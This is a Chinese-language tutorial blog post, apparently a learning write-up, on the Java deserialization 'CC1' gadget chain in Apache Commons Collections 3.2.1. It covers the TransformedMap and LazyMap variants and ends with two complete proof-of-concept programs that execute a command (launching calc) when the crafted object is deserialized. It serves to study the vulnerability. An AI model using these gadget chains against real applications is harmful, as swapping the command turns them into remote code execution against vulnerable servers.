Java反序列化之CC1

组件介绍:

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

环境准备:

  1. 创建一个mvn项目并且导入Commons Collections,

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>
  1. 为了方便调试,需要下载对应的JDK源码:

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载完之后,需要把jdk/src/share/classes/中的sun文件夹粘贴到\Java\jdk1.8.0_65,参照下面图片(借用大佬图片):

之后打开idea里面的项目结构选项,按照下面图片进行导入SUN源码:

CC1链反序列化学习

CC1链这次学习分为两条链子TransformerMap链和Lazymap链下面进行简单学习

在此之前需要了解实现Transformer(接收一个对象,然后对Object作一些操作并输出)接口的方法:

  1. ChainedTransformer官方注释:

ChainedTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)的链表,将多个转换器链接在一起以进行多次转换操作。每次转换的输出结果将作为下一次转换的输入。

  1. InvokerTransformer官方解释:

InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。InvokerTransformer充当一个后门来使用,后面会说明。

  1. ConstantTransformer官方解释

ConstantTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。

  1. TransformedMap官方解释:

TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。

TransformerMap链

首先,通过简单的方法来调用计算器:

    Runtime.getRuntime().exec("calc");

之后使用反射来调用计算器

package FlynAAAA;

import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CC1_TransformerMap {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime c=Runtime.getRuntime(); //创建一个 Runtime 对象,并将其赋值给变量 c。
        Class r=Runtime.class;//获取 Runtime 类的 Class 对象,并将其赋值给变量 r。
        Method exec=c.getClass().getMethod("exec",String.class);//使用反射机制获取 Runtime 类的 exec 方法,exec 方法时需要传入一个命令字符串作为参数,该字符串指定要执行的命令。
        exec.invoke(c,"calc");//里传入的是 "calc",即启动 Windows 计算器程

    }
}

为什么说InvokerTransformer相当于一个后门程序,下面是他的构造方法,第一个参数:是需要调用的方法,第二个参数是以数组的形式接收,该方法的有参构造函数的类型,第三个,构造函数的参数值

下面是InvokerTransformer中的Transformer方法iMethodName、iParamTypes以及input都可控,而且使用的是反射的方法,调用指定对象的指定方法,并返回方法执行结果。

那么就可以使用InvokerTransformer来调用计算器:

package FlynAAAA;

import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CC1_TransformerMap {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r=Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

    }
}

了解之后进行一个练习,使用反射嵌套InvokerTransformer来调用计算器:

package FlynAAAA;

import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CC1_TransformerMap {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
       //题目:
        // Class c=Runtime.class;
        //Method getRunTimeMethod= c.getMethod("getRuntime",null);
        //Runtime r= (Runtime)getRunTimeMethod.invoke(null,null);
        //Method execMethod= c.getMethod("exec", String.class);
        //execMethod.invoke(r,"calc");

        //解答:
        Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
    }
}

之后查找谁调用了tranform的方法:

可以看出在TransformerMap和Lazymap都有使用Transforme方法

先看TransformerMap#checkSetValue,这是protected方法,需要使用反射进行调用,跟踪变量valueTransformer

从TransformerMap的初始化类中看出,接收一个map数组也就是需要处理的数组,

TransformerMa类是通过decorate方法对map进行修饰。

紧接着使用cheackSetValue()进行计算器调用:

package FlynAAAA;

import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformerMap {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbbbb");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);

        //通过反射的方法调用checkSetValue
        Method cheack=TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
        cheack.setAccessible(true);
        cheack.invoke(transformedMap,r);
    }
}

接下来查看是谁调用了cheackSetValue()方法,在AbstractMapEntryDecorator这个抽象对象中的静态类MapEntry继承了AbstractMapEntryDecorator抽象类

而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法,一个entry就是一对键值,可以通过遍历entry执行setValue()方法。来进行调用计算器

接下来使用SetValue来调用计算器

package FlynAAAA;

import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformerMap {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("aaaa", "bbbbb");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);

        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);

        }
    }
}

那么此时如果有某个readObject()中使用Map.Entry去迭代集合,且中间使用可控变量调用了setValue(),就可以以这个为入口点,进行反序列化。

搜索setValue,在AnnotationInvocationHandler#readObject()中有使用。

AnnotationInvocationHandler有一个构造函数,它接受两个参数:注解接口的Class对象和一个Map对象,该Map对象包含注解属性的值。当在注解接口上调用方法时,AnnotationInvocationHandler会在Map中查找相应属性的值,并将其作为方法调用的结果返回。

PPs:
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);

但是有几个问题:

1、Runtime没有实现Serialize接口,无法被序列化:

解决办法:

InvokerTransformer去实现:

Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);

2、触发setValue()之前的两个if条件

解决方法:

第一个if:map的键在注解中必须存在,意思是就是上面举例Target.class,map的键的键值必须在Target.class中

第二个if:map的键不能强制转换为value

setValue()中的值是一AnnotationTypeMismatchExceptionProxy对象而不是Transformer.

解决方法:

我们可以利用上面ConstantTransformer 和ChainedTransformer结合起来封装成Transformer。

Transformer[] Transformer=new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer C=new  ChainedTransformer(Transformer);

ConstantTransformer类是用于将输入对象转换为一个固定的常量值。上面将他转换成Runtime.class

用ChainedTransformer把需要反射的链起来

最终poc

package FlynAAAA;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Test {
    public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //直接调用clac
        //Runtime.getRuntime().exec("calc");

        //通过反射调用
        // Runtime r=Runtime.getRuntime();
        //Class c=Runtime.class;
        //Method exec=c.getMethod("exec", String.class);
        //exec.invoke(r,"calc");
        //通过InvokerTransformer调用
        //Runtime r=Runtime.getRuntime();
       // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        //通过CC里面的Transformemap里面的checkSetValue进行调用
        //Runtime r = Runtime.getRuntime();
       // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer C=new  ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbbbb");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,C);

        //for (Map.Entry entry:transformedMap.entrySet()){
          //entry.setValue(r);
       // }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandler.setAccessible(true);
        Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
       unseri(seri(o));
    }

    public static  byte[] seri (Object obj) throws IOException {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream OOS1 = new ObjectOutputStream(btout);

        OOS1.writeObject(obj);
        System.out.println(btout.toByteArray());
        return btout.toByteArray();
    }

    public static Object unseri (byte[] Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Lazymap链

从可以看出在TransformerMap和Lazymap都有使用Transforme方法,接下来看Lazymap

lazymap的实现方式是,在Map中添加一个Transformer对象作为值的默认值,当获取某个键的值时,如果该键不存在,就会使用Transformer对象来生成一个默认值,并将其作为该键的值。Transformer对象的实现方式可以是任何实现了Transformer接口的类下面是Lazymap的初始方法。

可以看见如果在get找不到键值的时候,它会调用factory.transform 方法去获取一个值:

而Lazy和transforMap一样,都是使用decorate()方法接收一个map和Transformer

AnnotationInvocationHandler的readObject()没有直接调用get(),所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get()方法

接下来有必要学习一下Java的动态代理:

Java 动态代理(Dynamic Proxy)是一种实现 AOP(Aspect Oriented Programming,面向切面编程)的方式,可以在运行时动态地创建代理类和对象。它可以使代码更加灵活、可扩展和可维护。

    public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

其中,loader 参数指定代理类的类加载器;interfaces 参数指定代理类要实现的接口列表;h 参数是一个实现了 InvocationHandler 接口的对象,用于处理代理类中方法的调用。

newProxyInstance() 方法返回的是一个代理类的实例,该实例实现了指定的接口列表,并将方法调用转发给指定的 InvocationHandler 对象处理。在代理类中,通过 InvocationHandler 对象的 invoke() 方法来处理方法调用。

例如(抄袭大佬的代码)

package LazyMap;

import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App
{
    public static void main(String[] args) {
        /*
            自动生成代理类
                第一个参数: Classloader, 及代理角色
                第二个参数: Interface, 也就是抽象角色, 即我们要代理那个接口, 这里是Map
                第三个参数: InvocationHandler, 是一个实现了InvocationHandler接口的被代理类,里面包含了具体代理的逻辑
         */
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, new ExampleInvocationHandler(new HashMap()));
        // 这里虽然调用的是 Map.put() 但由代理类触发, 就会优先调用 被代理类的invoke() 然后再反射调用 put()
        proxyMap.put("Hello","World");
        // 因为优先调用被代理类的invoke, 且我们的方法又刚好是 get()
        // 所以被 hook住, 返回的值也会变为 Hoooooook
        String res = (String) proxyMap.get("Hello");
        System.out.println(res);
    }
}
package LazyMap;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler
{
    protected Map map;

    // 构造方法
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }


    // 重写invoke
    // 当这个类被代理后, 代理对象调用任意方法都会优先进入 被代理类的i nvoke方法
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().equals("get"))
        {
            System.out.println("方法 get() 已被劫持 !");
            return "Hoooooook";
        }
        return method.invoke(this.map,args);
    }
}

然后大致这样改POC

  1. 将TransformedMap更改类LazyMap

Map<Object,Object> decorate =  LazyMap.decorate(map, chainedTransformer);
  1. AnnotationInvocationHandler这个类实现了InvocationHandler接口,只需要在实例化它的时候,将它使用Proxy.newProxyInstance()代理,即可当代理类调用任意方法的时候,都会优先跑到AnnotationInvocationHandler这个类下的invoke()方法中

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Object o =  clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
  1. 此时是一个Proxy类,而我们的触发点在AnnotationInvocationHandler#readObject(),所以在把这个类放到构造方法第三个参数

Object o =  clazzDeclaredConstructor.newInstance(Target.class, proxyMap);

完整POC:

package LazyMap;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.annotation.Resource;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapDemo {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]
                {
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
                };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value",1);
        Map<Object,Object> decorate =  LazyMap.decorate(map, chainedTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        clazzDeclaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        Object o =  clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
        //new clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
        serialize(o);
        unserialize("poc.ser");
//        proxyMap.size();

    }


    public static void serialize(Object obj) throws Exception
    {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception
    {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值